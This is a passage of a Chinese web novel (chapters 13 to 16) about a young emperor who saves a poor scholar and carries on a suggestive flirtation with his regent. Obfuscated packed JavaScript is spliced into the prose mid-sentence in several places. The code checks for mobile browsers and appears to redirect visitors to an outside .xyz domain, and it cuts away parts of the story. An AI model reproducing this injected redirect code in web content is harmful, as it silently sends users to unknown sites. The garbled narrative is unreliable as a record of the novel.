他父母早亡,靠祖母带大,村里的人一向都不看好他读书,说不如多种垄地来的实在,是祖母坚持供他读书,但等他长大了能一边赚钱一边上学的时候,祖母却去世了。 自此,世上再也没有相信他能做到的人了。 村里的人说是他害死了祖母,他也没办法否认,好好安葬祖母后来到京城,但这里的人更加瞧不起他,衣着打扮一言一行,这里都有一把尺,尺的另一端是对他的态度,他们都说你不用妄想了,怎么可能跟那些天天在太学的人比呢。 如果没有读过书,如果心里不曾点亮那团火,他肯定早就放弃了,因为放弃比坚持容易太多太多,但他真的想看看京城,看看书里所说的朝廷,看看那位克明俊德、平章百姓的九五至尊,他想为这个世界做点什么。进了京城之后他的想法更坚定了,为什么他们村子里的百姓一年到头忙的腰都直不起来,种的米上缴一半还多,自己却吃不饱;为什么京城这些做官的连稻子小麦都分不清,却天天大鱼大肉高高在上。 他想平天下,做到礼记里说的,天下大同,但这需要他拿到科举的入场券。 “终于让我抓住了,凯哥,他们就在那儿!”凌乱的步伐声传来,后方道路的拐角,那几个人又追了上来。这次的气势更盛,眼神里多了几分不耐烦的憎意。 宋南卿暗骂一声,努力架起阮羡之的胳膊就往前跑,迈着踉踉跄跄的步伐艰难移动,可是他一个人的力量还是太小,没走几步就被跟上了。 阮羡之张开双臂把宋南卿护在后面,哑声道:“你快跑吧,帮了我他们肯定不会放过你的。” “敬酒不吃吃罚酒,你们俩再跑一个试试啊,知不知道这是在哪儿!知不知道凯哥是谁?” 看着贾士凯手里的木棍,宋南卿呼吸紧张,小时候在宫里被人围起来欺负的画面又清晰起来,他知道孤立无援力量悬殊是多么绝望,要他在这个时候撇下阮羡之陷入这个不知生死的陷阱,他做不到。 贾士凯在一众小弟的包围下,迈着悠闲的步子走过来,在看到宋南卿的时候,面色一沉,“又是你,你还敢出现在本公子面前,是不是找死?” 上次凤栖楼抢他云岫,现在他欺负个看不顺眼的东西,又被阻拦,面前这个小子还真是处处克他。 一滴水珠从宋南卿脸庞滑过,他用那双明亮清澈的眼睛看向贾士凯,“上次的伤都好了?又在我面前摆弄你那身份,看来你还是不知道我是谁。” “老子管你是谁,在这片地方就是我贾家的地盘,给我打!” 木棍被高高举起,宋南卿抬起胳膊挡住了要害,动作熟练。反应过来时他轻轻一笑,心里自嘲道:做这个万人之上的皇帝那么久,身体挨打时的条件反射原来还残留着,他还以为早就忘了呢。 “全都给我住手!” 从巷子口朝这儿快速行进的仪鸾司侍卫虽然穿着便服,但动作统一麻利,手中的刀反射出森白的光,他们一袭黑衣训练有素,一脚踢开贾士凯手中的棍子,三下五除二就把围着的一群企图加害宋南卿人制服在地。 贾士凯的头被一股无法抗拒的力量强硬地按在地上,蹭了一头泥水,以一个屈辱的姿势被制服,刚想挣扎,削发如泥的长刀就已经架到脖子上了。 春见小跑着来到宋南卿身边,抖开雪白的披风给他仔细围在了身上,一手撑开伞替人撑着,一手挡在他前面,把身上有血迹的阮羡之也隔离开来。 七八名黑衣侍卫把人按在地上,等候宋南卿发落,他们这利落高超的功夫一看就不是寻常人家能训练出来的,悄无声息又运筹帷幄。 “给我把他们教训一顿,然后找个大夫来给他看看。”宋南卿急着想换下湿掉的鞋袜,简单吩咐了两句就离开了。 阮羡之看着那飘起的衣角上绣的银线,仿佛在眼前真的缓缓流淌起来,像从九天降落的银河,伸手又触及不到,他眼前一黑晕倒在地。 等他悠然转醒,发现自己已经躺在了干净的床上,身上的伤口也都被妥善处理。 春见坐在对面的凳子上百无聊赖,见他醒了,道:“那些人不会再来找你麻烦了,这间屋子已经租下来,你可以一直住到科考结束,但要是没考上,我家公子说你也不必来见他了。” “哦对了,还有这银子。”春见把一大包鼓鼓的银袋子放在了床头,“是公子说借给你用的,等你有连本带利还的那日。” 说完这些宋南卿吩咐的话,春见从凳子上跳下来准备走,却被阮羡之叫住了:“你…你家公子是何人,无功不受禄,我总要还了这恩情。”他身上有伤,不好下地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022228|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >春见没回头,“公子说,有缘必会相见。” “哎——你等一下!”阮羡之挣扎着下床,踉踉跄跄一瘸一拐走到门边,却看见不远处的屋檐下离的很近的两道身影,一道就是刚刚那个救他性命的少年。 雨已经停了,那条巷子的出口竟然离沈衡府上不远,闹出这番动静,沈衡在家,也被宋南卿抓来给阮羡之找住的地方了。 少年单腿屈起抵在墙上,双手抱胸,说完了他遇见阮羡之的过程,只是把他误入巷子迷路遇到危险那段隐去了,只说正好遇到阮羡之被欺负,顺手救了他。 “总之就是这样,我觉得他是可造之材,不应该被埋没,至少不应该折损于那等小人之手,万一之后真能考中,造福一方百姓呢。”宋南卿换了身衣裳,头发也早就擦干了,站在沈衡面前解释自己为什么要救他。 比他高了一个头的沈衡静静听他说完,薄薄的眼皮微垂,嘴角并没有弧度。 “世上怀才不遇的人多了,你总不能见一个救一个,那我这儿要成牙行专门搞租赁房屋了。” 宋南卿觉得他语气不对,仰头奇怪道:“遇到了就要救啊,而且先生你没看过他的策论,有济世之才。” 沈衡嗯了一声,“等他能进殿试时,我再看也不迟。” “先生好像不太喜欢阮羡之,他又没有哪里得罪你。”宋南卿不解。 沈衡单手背在身后,手指被衣袖掩盖,目光看向那间屋子,看见春见正从里面出来。 “连名字都知道,我竟不知你什么时候和他那么亲近了。”沈衡伸手捏住他的下巴,食指上佩戴的翡翠扳指种水极好,出现在了宋南卿的视线里。 宋南卿眼睛一亮,伸手抓住那个扳指左看右看,帝王绿的翡翠品相极佳,比那天他看到的翡翠耳环还要好,他眼睛紧紧盯着,语气都变了:“你从哪儿得来的,我今日逛遍珠宝首饰店都没见到那么合心意的。” 沈衡把手高高举起不让他碰,嘴里说着:“我看是心不在珠宝身上,飞向别处了。” 宋南卿对于他利用身高优势欺负自己的行为很是不满,鼓起脸往前倾身去够那枚扳指:“你戴明明就小了,拇指都戴不进去给我正好!给我嘛我想要——” 沈衡拿着扳指放下又抬起,引得宋南卿贴在他身上晃来晃去,鬓边几次蹭到人下巴,在远处的阮羡之看来,就是耳鬓厮磨的状态。 “给你可以,怎么谢我?”沈衡垂眼盯着他,余光可以看见从那间屋子里一瘸一拐走出来的男人身影。 二人贴的近,能感受到彼此身上的热气,宋南卿现在眼里心里只有那枚漂亮的翡翠扳指,离近了看连款式都合他心意。他挂在沈衡身上伸直了手去够,嘴唇一不小心擦过人的下巴,二人都是一愣。 宋南卿睫毛颤了颤,大脑中灵光一现,那些看过的话本子里主角一见钟情的画面在眼前接连闪过,他踮起脚又把嘴唇凑近飞快碰了一下,趁着人愣神之际终于把那枚扳指抢到手。 “这样总够了吧,谢谢先生!” 他乐不可支地把扳指戴在自己手上,尺寸刚刚好。他一边欣赏一边蹦跳着走到一旁仔细端详,对这个战利品满意的不得了。又得了扳指又施展了小技巧!他真是一箭双雕。 沈衡在原地站着,下巴上仿佛还残留着刚刚那柔软、温热、又仿佛云朵一般轻柔的触感,那一瞬间还闻到了宋南卿面颊上涂的玫瑰膏的香气,玫瑰那热烈灿烂的芬芳无孔不入侵入鼻腔,很淡但余韵悠长。 阮羡之不知何时早已经回到屋内,看着那个绣着精致刺绣的钱袋子发呆,不知道在思考些什么。 14.第十四章 春耕祭礼快到了,这个时候正是人们裁制新衣以告慰蚕神的时节,宋南卿对宫里制衣局送来的衣服百般不满意,要么嫌款式老气要么嫌布料厚重,祭礼近在咫尺,皇帝到时可是要穿新衣耕地播种,以请求今年风调雨顺的,衣服迟迟定不下来,宋南卿说什么也不满意,总之就是要出宫。 他自从上次出门遇到阮羡之已经好久没出宫了,每天不是看折子就是看话本,那日因为意外耽搁的新鲜话本,也通过春见送到了他手上。除了风流御史俏寡妇,还有绿芜老师的新作——意外捡到的小狗成精了,讲的是一名书生在雨天捡到一只被人丢弃的流浪狗,对方竟然会幻化成人的故事。 他看了许久欲罢不能, 不过最近沈衡有点奇怪,总之他感觉先生对他比之前冷淡了一些,都不帮他涂面霜了。这样下去可不行,他还想让沈衡爱上他,帮他做事呢!所以今天说什么也要出宫,因为书上说,特殊的环境会产生不一样的火花,恋人最忌失去新鲜感。虽然他和沈衡不是恋人,但书上说的很有道理啊! 沈衡拗不过他,只好相陪。 今日阳光正好,京城繁华的街道人来人往。二层楼的店铺门前,并排着进来两个人,挨得很近,端正的仪态和风度让人只是瞧着也倍感舒适。 宋南卿今日的头发是沈衡帮他梳的,如绸缎般散发着淡淡光泽,清雅的绿色很是映衬春色,也把那张秾丽的脸衬托得更加耀眼,未施粉黛就白里透红有着别样的感觉,纯稚和妍媚的气质在一人身上交织,一进门就吸引了所有人的目光。 但因为旁边高大的男人压迫感十足,投向宋南卿的目光被他一一看了回去,深邃的眉眼有着不明显的震慑力,像是水中包裹的一把刀,外表温润内里锋利,也带着对所有物的胜券在握,他以一种淡然的姿态扫过着那些各异的目光,屏退了很多人。 宋南卿倒不知道他这边的情况,还在为了沈衡愿意陪他逛街而高兴不已。今日磨了好久才答应帮他梳头发,还说什么他长大了自己的事情自己做之类的。他怎么可能承认自己长大了,皇帝长大就要亲政,就要对摄政王产生的威胁,他把这种话一律看为沈衡在试探自己,于是又装小孩子撒了好一会儿娇,才让对方同意陪他。 掌柜一见他们进来,立刻迎上去绽开笑脸。 “南公子,有些日子不见了,您喜欢的款式和料子都给您留好了,请随我到二楼来。” 宋南卿仰起脸,拍了下沈衡的袖子说:“快点跟本公子过来拎衣裳。”然后就一溜烟快步上楼了。 沈衡露出了不明显的笑意,跟上他的步伐,但沉稳的姿态和闲庭若步的样子,怎么看也不像个提衣服的小厮。 在二楼最大的一个房间里,宋南卿拿着几件成衣往自己身上比,问道:“先生觉得哪件好看?” 巨大的铜镜立在墙壁前,光线透过华美的花窗投下斑斓的色彩,照在少年身上镀了一层金光,头发丝都在发光,在阳光下波光粼粼的云锦极尽华美之态。 沈衡坐在铺了锦缎软垫的红木雕花椅上,看着一旁柜里陈列的各种织工精湛的绫罗、云锦。香茶氤氲,新装美人在前,就连他这样自律禁欲到极致的人,也生出了偷得浮生半日闲的岁月静好之感。 他低头喝了一口花茶,目光从宋南卿身上移开,投向另一侧颜色艳丽的女装裙,听到问话后答道:“卿卿穿什么都好看。” 宋南卿鼓起脸,慢慢吐出两个字:“敷、衍!” 沈衡微微挑了下眉。 屏风上雕刻着粉色的桃花和竹叶,繁多簇簇的花瓣在上面交叠绽放,宋南卿在屏风后换衣裳,他捏着上面的几条绑带,想起了昨日看的那本小狗成精刚幻化成人的话本,皱着眉朝沈衡问道:“这个衣服我不太会穿,是怎么绑的呀?” 变成猫,变成虎,变成淋湿的小狗,他又有主意了。 沈衡闻声走到了屏风旁,拉开侧面的一扇直接走了进去。 宋南卿正解着自己绑错的带子,不算宽敞的空间突然又挤进来一个人,还是在自己衣衫不整的情况下。 “我看看。”沈衡倒是没有半分不自然,抬手就勾住了他腰后的绑带,和对称分布的另一根上下系起。 贴近的气息存在感有些强,本来屏风后面就不大,这下子宋南卿觉得自己被圈住了一般,大腿内侧的带子被碰到的时候,手指擦过皮肤像是有火花一样令人哆嗦。 想起这只手带来过的滋味和记忆,宋南卿呼吸快了半分。 “我…会了。”他伸手推了推沈衡的胸膛,试图把距离拉远。 沈衡把带子慢悠悠地全部系好,才捏住他的手腕道:“还说我敷衍吗?” “哼!”宋南卿从他臂弯里跑了出来,重新站在镜前端详自己的新衣裳。 浅粉鹅黄晕染的底,上面红花绿叶交错分布,薄纱清透缥缈,宛如春日花园,放量做的不大不会显得太繁杂,外面若隐若现的罩衫给花园笼罩了一层薄雾。 “很好看,换个人都穿不出卿卿的万一。”沈衡站在他侧后方,抱臂端详着宋南卿在镜中转圈宛如花蝴蝶般的样子。 有时候太漂亮的衣服不太衬人,反而喧宾夺主,也就只有宋南卿这样艳丽如花的长相才能不被遮盖住光辉,有锦上添花之效。 被夸之后少年心情大好,得意地哼哼,蹦跳着去一排成衣中挑选,“这个、这个,还有这个,我都要了。” “这…”走到角落里,他竟然看到了很多女装,从裙子到肚兜都有,雀跃的声音戛然而止。 “这个也要?”沈衡不知什么时候来到了他旁边,好整以暇看着他。 宋南卿抿了抿嘴,眼波流转间竟然生出些许勾引人的意味,他勾着自己衣服上垂下来的带子,眼睛半抬不抬道:“如果先生想看的话。” 日头高了起来,宋南卿坐在一楼吃着刚买的糖葫芦,等沈衡排队给他结账。 主打精致奢侈的店铺,还是年轻女子居多,看沈衡高大英俊,还眼睛不眨买了那么多,又有钱大方还玉树临风,这可是很难得的,虽然看起来有点不好接近。 本来宋南卿心情正好,但瞧着离沈衡越来越近的那些人,她们窃窃私语打量欣赏的目光…不知为何觉得有些烦躁。 宋南卿走了过去挎住了沈衡的臂弯,整个人趴在了他肩上,学着凤栖楼里小倌的样子娇声娇气道:“怎么如此慢啊,是不是不想给人家买衣裳了。” 沈衡刚抬手放下银子,就被小糖糕黏住了。 “人家知道大人身份贵重不能轻易娶妻,但伺候公子那么久,纳了奴家当妾可是您承诺过的,不能要了人家的身子就轻易打发了。” 那日的“凤栖楼待客培训指南”可算是派上用场,花枝招展的小美人娇里娇气,带着青涩的媚态,趴在人身上故作妖娆又纯情可人。 “大人,这几日是有因寻花问柳被抓去的,但卿卿已经从良了,您不能因为怕被人议论就想弃奴而去啊,大人发家可全靠奴的卖身钱……买两件衣裳就心疼成这样么?” 听到这番话,围在旁边的女子对沈衡的态度来了个大转弯,都带上了谴责嫌弃的目光。 沈衡听他越演越不像话,捏着他的脖子把人带走了,连找零碎银都没拿,春见和竹心两个人离得远,并不知道发生了什么,苦哈哈在后面抱着衣裳追。 阮羡之在门口刚好目睹了这场闹剧,把沈衡面无表情拽着人出门的样子尽收眼底。 因为角度原因,他只看清了沈衡,另一个人的脸并未看清,但看那个花枝招展又做作的样子,一看就知道不是那日在小巷里勇敢奔跑仗义救他的那个少年。 那日看到二人亲吻,他内心伤感遗憾但又无可奈何,如果是良人那也算是幸事,毕竟大盛民风开放,一些官员公开养男宠都不是什么稀罕事,断袖契兄弟一类也不算稀奇。但今日一看,那个男子并非是什么一心之人,那么快就又有新欢大手大脚买这些,而且一听也不是什么正经人。 阮羡之握紧了拳头,替宋南卿不值。 ———— “哈哈哈哈哈哈……哈哈哈——” 马车里,抑制不住的笑声从宋南卿嘴里发出,他笑得前仰后合,手里的糖葫芦都要抖到了地上,他笑的头发都散了,趴在沈衡腿上剧烈起伏大笑。 “先生…脸色好难看哦哈哈哈哈——不过你放心,我看过了,那些人都哈哈哈哈…是闺阁女子,除非你和她们议亲,否则不会撞上的。” 宋南卿颇为善解人意地解释道,还把糖葫芦往人嘴里送,“吃呀,先生怎么不吃哈哈哈哈哈…” 他的脸被从两侧捏住抬了起来,“谁教你的这些?”沈衡捏着少年柔软细腻的脸颊问。 宋南卿还沉浸在情绪里,乐不可支,骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有些尴尬…虽然不知道哪里尴尬,但就是尴尬。宋南卿慌乱地四处想找点事做,低头含住糖葫芦一点点啃咬。 晶莹透亮的糖衣被咔吱咔吱咬碎,湿红的舌头时不时吐出绕着山楂转圈,把碎片卷入口中。反光的糖衣碎片星星点点,粘在舌尖和嘴唇上,拉丝黏糊。 沈衡闭了闭眼。 “好吃吗?”他盯着宋南卿的嘴唇问。 比以往热切的目光探究欲十足,窥探人心一般幽深逼人。 宋南卿像是感觉到了危险,迟钝地点头又摇头,“其实,没有宫里做的好吃…” “我尝尝。”沈衡靠近。 一串上面还剩了两颗,宋南卿把签子往前递,却被避开了。 沈衡捏着他的下巴往上抬起,凝视着少年嘴角沾着的冰糖碎片,沉着声音道:“不是这个。” 粉红的舌尖吐出,无意识在嘴角舔了舔,下一秒被指腹按住了动弹不得。 湿滑的舌头在手指下碾压磨蹭,短短一截被折叠起来蹂躏挤压。舌尖的触感和某些地方的湿滑柔软有些相似之处,宋南卿抑制不住发出小声的哼唧。 二人离得有些近了,呼吸都交缠在一起,宋南卿绞着手指后退,却被拢住了脖子停留在原地。 湿软的唇舌就在指尖流淌,含不住的口水滴滴溢出,像是不能自控的小孩。 “呜…嗯……”宋南卿摇头挣扎,后颈被捏紧了,他动弹不得。 “舌头吐出来。”沈衡淡淡命令。 少年微皱着眉,眼眸湿亮,发出抗拒的呜咽。 “还当不当你的乖孩子?” 宋南卿受不住他威胁,被迫往外吐舌,红润的唇瓣里丁香小舌朝外吐出,充满暗示性的动作,但他不懂这些。 沈衡用食指拨弄着吐出的舌尖,伸进口腔里刮弄了一圈,潮湿高热的腔体包裹着手指,舌头被抵住慢慢塞了回去。 被玩到发酸的口腔终于可以闭合,宋南卿扁着嘴,像被欺负了一般。 “这才叫乖。” 洁白的帕子被轻轻按在嘴角擦拭着口水,沈衡擦干净了手指,声音平静道:“去丰乐楼用午饭?想吃什么,河虾还是鳜鱼。” 宋南卿眼尾还泛着红,低声说:“都要。” 15.第十五章 宋南卿的话本子被沈衡全都搜罗出来,打包扔了出去,他气的好几日没理沈衡,人来了也叫人堵着赶出去。 这几日沈衡也忙,春耕祭礼快到了,他在礼部主持大小事宜,佛堂里的香整日烧着,宋南卿赶了他几次,后面因为事忙他也没空来,二人竟是有半月未见了。 陛下和摄政王闹别扭,宫里表面风平浪静实际底下翻涌着血雨腥风。 天色将暗,宋南卿在宫灯下叫传膳,米黄色的绸缎屏风经过灯光映衬,少年的影子映在上面,连晃动的发丝都看得清楚。 他垂眸看着桌上的餐食,问道:“前日朕就说要吃梅子烧排骨,怎的今日还没有。” 春见在桌边为他布菜的手一顿,立马宣了御膳房的管事来。 那个管事的胖子往底下一跪,尖声说:“陛下恕罪,宫中腌渍的梅子前些天洒了,新腌的还没到最佳赏味期,所以…所以未做,但奴才这几日让做了红烧排骨、粉蒸排骨,陛下也可尝尝合不合口味。” “就那一坛子梅子可用?”宋南卿面无表情问道。 御膳房管事垂着头道:“之前…之前做梅子烧排骨用的都是摄政王大人亲自腌的梅子,上次用光了,摄政王也半月未踏足御膳房,陛下恕罪。” 淡黄色的宫灯下,笼罩在宋南卿脸上的光很柔和,他拨弄着桌上放的一枚翡翠扳指,和木头碰撞发出清脆的声音。 他撩起一缕垂落的发丝,声音起伏不大:“所以没有摄政王,你们御膳房连个合我心意的菜色都做不出来了。” 怒气没有在表面体现出来,但此时宫里的宫人却是跪了一地,噤若寒蝉般不敢抬头。宫里人最是敏感细致,一点点小的风吹草动就能引得他们做出仿佛变天一样的举动。 宋南卿食指一抬,把那枚扳指勾起在指间旋转,烛光映衬之下翡翠格外透,一丝杂质也无,这般极品的翡翠可以说得上是价值连城,戴在他手指上刚刚好,尺寸分毫不差。 他最讨厌别人以一副为你好的架势,做出这不明说的暗示性腔调来,言外之意他从小到大被迫领悟太多,难道今天还要在这厨子身上受教吗? 没有摄政王,他只是个无权无势任人宰割的傀儡,无论和沈衡关系好还是不好,都有一大群人的利益随之受损或受益。 这番事是沈衡暗示也好,御膳房管事擅自做主想要讨好沈衡也罢,他都不想关心了,只是这个气不撒他连喘气都不顺。 春见这时靠近他身边低声说:“陛下,春耕祭礼在即,这个时候御膳房的人罚不得,意头不好。” 耕地、农桑、粮食、织布,事关国本,春耕祭礼是举国大事,为了祈求上天让这一年风调雨顺,粮食丰收,御膳房做饭的人自然是不能罚,不然会冒犯神灵。真会挑时候,他作为皇帝怎么也不能因为这些小事触霉头。不然万一今年粮食收成不好,就是他这个做皇帝的不体恤接触粮食的下人,惹怒上苍的惩罚。 宋南卿突然勾起唇,笑容却不达眼底,手指一弹,那枚精致昂贵的翡翠扳指便被他弹飞出去,滚到了御膳房管事手边。 “赏你了。” 价值连城成色罕见的翡翠像是个不值钱的玩意儿一样被他随意丢在地上。 那人战战兢兢,望着地上的翡翠扳指,不知如何是好。 春见站在宋南卿旁边,提高声音说:“高兴傻了?受主子的赏还不谢恩?” 御膳房管事从未见过如此华贵之物,而且这可是陛下亲自赏的,意义非凡!他可得裱起来传给祖孙万代。 他一边磕着头一边谢恩,捧起那枚扳指下去了。 “折腾那么一会儿菜都凉了,奴才再让他们重新做了来?”春见在一旁小心问道。 宋南卿捋着头上的飘带说:“不必了,没胃口。” 天色已经完全黑了,月牙高悬,周围几颗星星被月光一衬显得黯淡无光。前几日下雨,海棠花瓣掉落了一些,粉白的花朵和绿色的叶子一起在风中轻晃。 宋南卿把手臂搭在黄花梨木椅背上,脑袋慢慢垂下,靠在胳膊上望着那轮月亮。洁白的手臂露出一截,檀木佛珠从手腕处慢慢下滑,忽的一下挂到了腕骨处,和银镯子碰撞出泠泠一响。 ———— 春种一粒粟,秋收万颗子,春耕祭礼的前奏就从当朝帝王亲自耕种的籍田礼开始。 微风和煦,太阳还未升到最高处,王公大臣都换了麻衣布鞋,跟随宋南卿一起听完摄政王的礼词。今日的华盖都撤了,周围树木也并不茂盛,在充满泥土芬芳的院里,一把锄头被递到了宋南卿的手上。 在籍田礼当天,他才看见多日未见的沈衡。摄政王大人即使穿着最简单的衣物也难舍浑身的气度,长发束起利落干脆,单手拎起锄头交到了他手上。 宋南卿嘴角往下压着,潇洒地伸出胳膊,手上的银镯子碰到木头锄柄叮当响。那截细细的手腕收紧,手臂内侧可以看到薄薄皮肤下青黛色的血管。 他手指攥紧锄头,然后被重量一压,整个人随之晃了晃。 交接过程中,二人的手指不小心交叠,体温也彼此交换。宋南卿一个激灵,热热的温度让他想起那天在马车中的意外相触,他飞快地移走手指。 那个锄头没有力道相撑,根本立不住,眼看就要倒,宋南卿站在松软的泥土中随之晃动,脚下不稳,就在要随着锄头一起倒地之时,被有力的大手握住了小臂。 他整个人靠在了沈衡身上,丝丝阳光照在了脸上。 好多日不见,还是熟悉的味道,熟悉的声音。 “小心一点,地不好走。”低沉的声音从头顶传来,因为靠在人胸前,宋南卿感受到一点胸腔的共振。 闹了那么些天,看沈衡的样子像是什么都没发生过一样,好像只有他一个人在不舒服。宋南卿别别扭扭从人身上起来,有点没话找话似的说了一句:“你是不是这两天又练武了。”刚刚那一靠他感觉触感跟之前有了一些小小的变化。 他也不知道自己在闹什么,或许是那天在马车里被沈衡拆穿他无地自容,或许是那天被沈衡欺负的有些过分,或许是因为他的话本子被扔了,又或许是他说不让沈衡来他竟然真的就不来了,不过有一点可以肯定,这些理由里一定有一条就是——他不喜欢无论发生什么沈衡都是这一副镇定自若八风不动的样子。 沈衡把锄头拎过来确保他握紧了才放手,对着眼前的地一指:“想练武我可以教你,先在这儿挖一个坑。” 宋南卿哦了一声,拿着锄头艰难刨了一个坑出来,一半土还被他刨到了自己脚上。 沈衡把种子扔下去,然后指挥他:“再埋了。” 宋南卿瞪大眼睛看着他,抬高了声音道:“你耍我呢吧!” “种地就是这样的,需要耐心和脚踏实地,我记得之前给你看过《齐民要术》。”沈衡往南移了一步,清明的眸子盯着宋南卿。 宋南卿脖子一缩,在下一个他指定的地方刨坑,眼神飘忽。 “正经书不看,邪门歪道的话本看的起劲。”沈衡帮他下定论。 宋南卿握着锄头往下用力一刨,竟然没挖动,底下是硬的,他不信邪又挖了一次,边挖边说:“你都不教我,我只能去话本上学了啊。” 沈衡见他挖不动,接过了锄头来。 “想让我教你什么?”似是想起什么,沈衡俯身看向宋南卿问,“话本子里,大家闺秀救了穷书生供他科举,等他高中后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“春见,快点来收好,收到我私库去。”宋南卿见他没有反对的意思,忙招手叫来春见。 普普通通的黑盒子里除了金元宝外,还有一些刻着花纹的金片,只是时间久了有磨损,隐隐约约可以看出是麒麟之类的纹样。 宋南卿抬起袖子擦着脸上的汗,思考道:“你说谁会把金子埋起来呢?而且好像埋了很久的样子。” 春见接过话茬说:“奴才听说,旧时宫中嫔妃怀龙子,会在宫里后院埋金为孩子祈福,寓意金不换。” 沈衡把宋南卿扯了过来,从袖子里掏出干净的手帕替他擦拭起脸上沾上的土。沾染了佛香的帕子在脸前轻轻蹭动,宋南卿仰着头,发丝被挑起捋好,鬓边的汗也被擦去。 他微闭着眼,透过半透的帕子,迎着日光,隐隐约约可以看见沈衡那张朦胧的脸庞。手指的温度隔着一层织物也能传到脸上,柔软的帕子比起他今日的麻布衣摆,擦起来是舒适很多。 宋南卿一边心安理得到享受着摄政王大人贴心的擦脸服务,一边分出神问春见:“也没听说前朝宫里在这附近有哪个嫔妃有孕。” 春见捧着黑盒子,看见摄政王投向自己目光,低头说:“奴才乱说的,许是谁私藏的银钱罢了。” 宋南卿扶着锄头晃了晃,“普天之下莫非王土,总之现在是朕的了。”他不经意低头看见自己脏脏的鞋子和衣摆,皱起眉头。 “想回去沐浴了,剩下的先生替我种了吧?” 沈衡接过锄头,薄唇微启道:“有事钟无艳,无事夏迎春。” 宋南卿拉住他的手臂轻晃道:“有事无事我都来找你啊,听说青莲池修好了,先生要不要和我一起去试试新汤泉?” 16.第十六章 水声潺潺,水雾笼罩,青莲池是以白玉砌成池壁的一处温泉。不同形态的青石围绕下,池水荡漾出清波,池子底部还雕刻几瓣莲花纹样。 池子周围落地放了几盏莲花宫灯,做工精巧形状细致,镂空雕花木墙把整个泉子包围起来,从外面看不见里面,但里面可以隐约看见外面树木葱郁,亭台楼阁的样子。 蜿蜒流淌的水雾状似飘带,把水中人的面容也弄的模糊起来。宋南卿穿着薄薄的衣物泡在水里,白色衣摆在水中飘荡,伴随着水波一圈一圈的晃动,让人看了眼晕。 半湿的发丝垂在白玉池边,连同银镯子和手串一起,发尾轻轻扫过镯子上的莲纹,也扫过沈衡去拿东西的手指。宋南卿靠在里面眼睛微阖,领口宽大的衣袍朝两侧打开,露出了笔直的锁骨。 感觉到沈衡的动作,他仰起头看人。 温泉泡久了连眼神都湿漉漉的,长长的睫毛微颤,掀起时那双氤氲水雾的眸子里还带着迷离。宋南卿长得好,宋氏一族的基因向来以美貌之名著称,他懒懒地伸手撑起身体坐直了一点,把头靠在沈衡肩上,动作间衣物又往下滑了一些。 清澈的水珠凝在肩膀胸前,衬得肤若凝脂,一滴水珠从锁骨窝里滑落,飞快坠入水中,融为一体。 他把脸往下滑,贴到刚刚就眼馋心动的位置,饱满的胸肌练的恰到好处,轮廓分明但又不过分结实,脸贴上去的时候透过湿透的布料可以感受到又软又弹的触感。宋南卿几乎已经埋到水里了,憋着气在人胸前蹭,软软的脸蛋压在上面移动。 反正在水下,沈衡看不清他的动作,宋南卿闭着眼仗着沈衡不会拿他怎么样,沉迷地蹭了一会儿,直到被抓住头发拉了出来。 憋气久了,他的脸颊潮红,急促呼吸着,睫毛上都沾着水珠。 发根传来轻微的拉扯疼痛,宋南卿半张着嘴喘气,水光潋滟的唇瓣里是那截嫣红的小舌,此刻正抵着下齿。 他被抓着头发半提起,青丝倾泻贴在沈衡的手臂上。睫毛上的水珠挡住了他的视线,看不清楚沈衡现在的表情,但他能感受到对方一直在看自己。 “疼——”丝滑如绸缎般的头发被扯着,虽然没有很用力,但从根部传来的紧张和微痛让头皮都麻麻的。 沈衡手指放开,少年像是没骨头一样又贴在了他身上。 宋南卿从小就在沈衡身上爬,十年如一日的亲密距离并不会让人不自在。穿着湿透了的浴衣,宋南卿眼神纯稚并不含一丝暧昧,他今天累了,没空想那些套路,只想以最放松的姿态做最放松的事。 他一只手搭在沈衡肩上,泡的骨头都有些酥,看着池子旁边放的荔枝,推了推人肩膀说要吃。 精致的缠枝纹银质托盘里摆放着几颗荔枝,色泽鲜艳,底下还堆着细细的碎冰,是岭南巡抚进献的早熟的品种,叫三月红。 沈衡伸手拨开荔枝皮,露出里面白皙剔透的果肉来,鲜甜的味道迸发开,在空气中弥漫着熟透了的甜蜜。 修长的手指捏着荔枝蒂,把果肉送到人嘴边。宋南卿张嘴,却咬了个空。 清澈的汁水顺着手指往下淌,柔软剔透的果肉在手中轻晃。宋南卿仰起脖子伸出舌尖,舔到一口荔枝的味道,又被移走了。 他撩起一捧水洒到沈衡脸上,点点水花在池面上溅出点点涟漪。 沈衡轻笑出声,单手擦了把脸,望着要炸毛的某个小皇帝,把荔枝递上。 “不逗你了,张嘴。” 莲花池离佛堂不远,隐约可以听见诵经声,还有幽远的钟声。这里远离了上午那群王公大臣,远离了喧嚣和吵闹,远离了繁文缛节荣辱尊卑,只剩满池的清水和飘荡的乳白色轻纱。 宋南卿张嘴啊呜一口咬住眼前的手指,清甜的荔枝被他咬下来一半,舌头一卷转眼就把剩下的一半吸入嘴里。泡着温温的泉水,每一个毛孔都放松舒适下来后吃一口冰凉鲜甜的荔枝,实在是莫大的享受。 他鼓着腮帮子嚼荔枝,在脸颊一处鼓起,像个塞满食物的小动物。 沈衡翻掌把手心抬起朝他下巴处一递,刚好接住了被吐出来的荔枝核。 